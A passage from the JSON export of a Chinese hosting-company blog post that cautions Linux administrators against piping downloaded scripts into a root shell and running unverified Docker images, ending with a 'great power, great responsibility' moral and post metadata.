                  \u8fd9\u4f1a\u4e0b\u8f7d\u8be5\u811a\u672c\uff0c\u5e76\u5c06\u5b83\u9001\u5230 shell \u4e0a\u8fd0\u884c\u3002\u5f88\u660e\u786e\uff0c\u522b\u5927\u60ca\u5c0f\u602a\uff0c\u5bf9\u5427\uff1f\u4e0d\u5bf9\u3002\u8fd9\u4e2a\u811a\u672c\u4e5f\u8bb8\u5df2\u7ecf\u88ab\u6076\u610f\u8f6f\u4ef6\u611f\u67d3\u3002\u5f53\u7136\uff0c\u4e00\u822c\u6765\u8bf4 Linux \u6bd4\u5927\u591a\u6570\u64cd\u4f5c\u7cfb\u7edf\u90fd\u8981\u5b89\u5168\uff0c\u4f46\u662f\u5982\u679c\u4f60\u4ee5 root \u7528\u6237\u8fd0\u884c\u672a\u77e5\u4ee3\u7801\uff0c\u4ec0\u4e48\u90fd\u53ef\u80fd\u4f1a\u53d1\u751f\u3002\u8fd9\u79cd\u5371\u5bb3\u4e0d\u4ec5\u5728\u6076\u610f\u8f6f\u4ef6\u4e0a\uff0c\u811a\u672c\u4f5c\u8005\u7684\u611a\u8822\u672c\u8eab\u540c\u6837\u6709\u5bb3\u3002\u4f60\u751a\u81f3\u53ef\u80fd\u4f1a\u56e0\u4e3a\u4e00\u4e2a\u672a\u8c03\u8bd5\u7684\u4ee3\u7801\u5403\u4e0a\u4e00\u5811\u2014\u2014\u7531\u4e8e\u4f60\u6ca1\u6709\u82b1\u65f6\u95f4\u53bb\u8bfb\u5b83\u3002<\/p>\n

                  \u4f60\u8ba4\u4e3a\u4f60\u4e0d\u4f1a\u5e72\u90a3\u6837\u7684\u4e8b\uff1f\u544a\u8bc9\u6211\uff0c\u6240\u6709\u90a3\u4e9b \u4f60\u5728 Docker \u91cc\u9762\u8fd0\u884c\u7684\u5bb9\u5668\u955c\u50cf\u5728\u5e72\u4ec0\u4e48\uff1f\u4f60\u77e5\u9053\u5b83\u4eec\u5230\u5e95\u5728\u8fd0\u884c\u7740\u4ec0\u4e48\u5417\uff1f\u6211\u89c1\u8fc7\u592a\u591a\u7684\u6ca1\u6709\u9a8c\u8bc1\u5bb9\u5668\u91cc\u9762\u88c5\u7740\u4ec0\u4e48\u5c31\u8fd0\u884c\u5b83\u4eec\u7684\u7cfb\u7edf\u7ba1\u7406\u5458\u3002\u8bf7\u4e0d\u8981\u548c\u4ed6\u4eec\u4e00\u6837\u3002<\/p>\n

                   <\/p>\n

                  \u7ed3\u675f<\/h4>\n

                  \u8fd9\u4e9b\u6545\u4e8b\u80cc\u540e\u7684\u9053\u7406\u5f88\u7b80\u5355\u3002\u5728\u4f60\u7684 Linux \u7cfb\u7edf\u91cc\uff0c\u4f60\u6709\u5de8\u5927\u7684\u63a7\u5236\u6743\u3002\u4f60\u51e0\u4e4e\u53ef\u4ee5\u8ba9\u4f60\u7684\u670d\u52a1\u5668\u505a\u4efb\u4f55\u4e8b\u3002\u4f46\u662f\u5728\u4f60\u4f7f\u7528\u4f60\u7684\u6743\u9650\u7684\u540c\u65f6\uff0c\u8bf7\u52a1\u5fc5\u505a\u8ba4\u771f\u7684\u786e\u8ba4\u3002\u5982\u679c\u4f60\u6ca1\u6709\uff0c\u4f60\u6bc1\u706d\u7684\u4e0d\u53ea\u662f\u4f60\u7684\u670d\u52a1\u5668\uff0c\u800c\u662f\u4f60\u7684\u5de5\u4f5c\u751a\u81f3\u662f\u4f60\u7684\u516c\u53f8\u3002\u50cf\u8718\u86db\u4fa0\u4e00\u6837\uff0c\u8d1f\u8d23\u4efb\u7684\u4f7f\u7528\u4f60\u7684\u6743\u9650\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

                  \u5f53\u7136\uff0c\u9664\u975e\u4f60\u60f3\u5e72\u6389\u4f60\u7684\u673a\u5668\u3002 \u8718\u86db\u4fa0\u6709\u8fd9\u6837\u7684\u4e00\u53e5\u4fe1\u6761\uff0c\u201c\u6743\u529b\u8d8a\u5927\uff0c\u8d23\u4efb\u8d8a\u5927\u3002\u201d \u5bf9\u4e8e Linux \u7cfb\u7edf\u7ba1\u7406\u5458\u4eec … \u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[49],"tags":[],"class_list":["post-3122","post","type-post","status-publish","format-standard","hentry","category-linux"],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack-related-posts":[],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/comments?post=3122"}],"version-history":[{"count":1,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3122\/revisions"}],"predecessor-version":[{"id":3123,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3122\/revisions\/3123"}],"wp:attachment":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/media?parent=3122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/categories?post=3122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/tags?post=3122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}